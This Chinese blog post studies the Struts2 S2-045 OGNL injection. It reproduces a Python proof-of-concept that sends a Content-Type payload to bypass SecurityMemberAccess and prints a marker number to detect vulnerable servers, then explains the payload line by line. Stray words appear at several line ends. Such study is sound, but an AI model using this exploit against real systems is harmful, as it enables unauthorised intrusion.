S02-45 struts2 最新漏洞 學習記錄

今天和朋友一塊兒學習S02-45。按照官方解釋:Content-Type:multipart/form-data 這個條件成立的時候,可以觸發jakarta的上傳漏洞。可能致使遠程執行任意代碼或者上傳文件。python

freebuf給出的POC以下:apache

import requests

import sys
 

def poc(url):

    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"

    headers = {}

    headers["Content-Type"] = payload

    r = requests.get(url, headers=headers)

    if "105059592" in r.content:

        return True
 

    return False



if __name__ == '__main__':

    if len(sys.argv) == 1:

        print "python s2-045.py target"

        sys.exit()

    if poc(sys.argv[1]):

        print "vulnerable"

    else:

        print "not vulnerable"

提出payload爲:學習

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}

首先指定:url

#test='multipart/form-data

這個是爲了觸發漏洞的前提條件,也就是Content-Type:multipart/form-data。spa

而後接下來:code

.(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).

經過ognl表達式靜態調用獲取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS屬性,並將獲取的結果覆蓋_memberAccess屬性,這樣就能夠繞過SecurityMemberAccess的限制。orm

最後一部分:blog

(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}

實例化org.apache.struts2.ServletActionContext@getResponse(),調用輸出流getOutputStream()。而後輸出println(102*102*102*99)。ip

 

細心的朋友確定會發現,若是實例化別的類,是否是能擴展更多功能呢?get

網上流傳的命令執行已經比較多了,再也不多說了。若是喜歡深刻研究的,能夠留言。

相關文章
相關標籤/搜索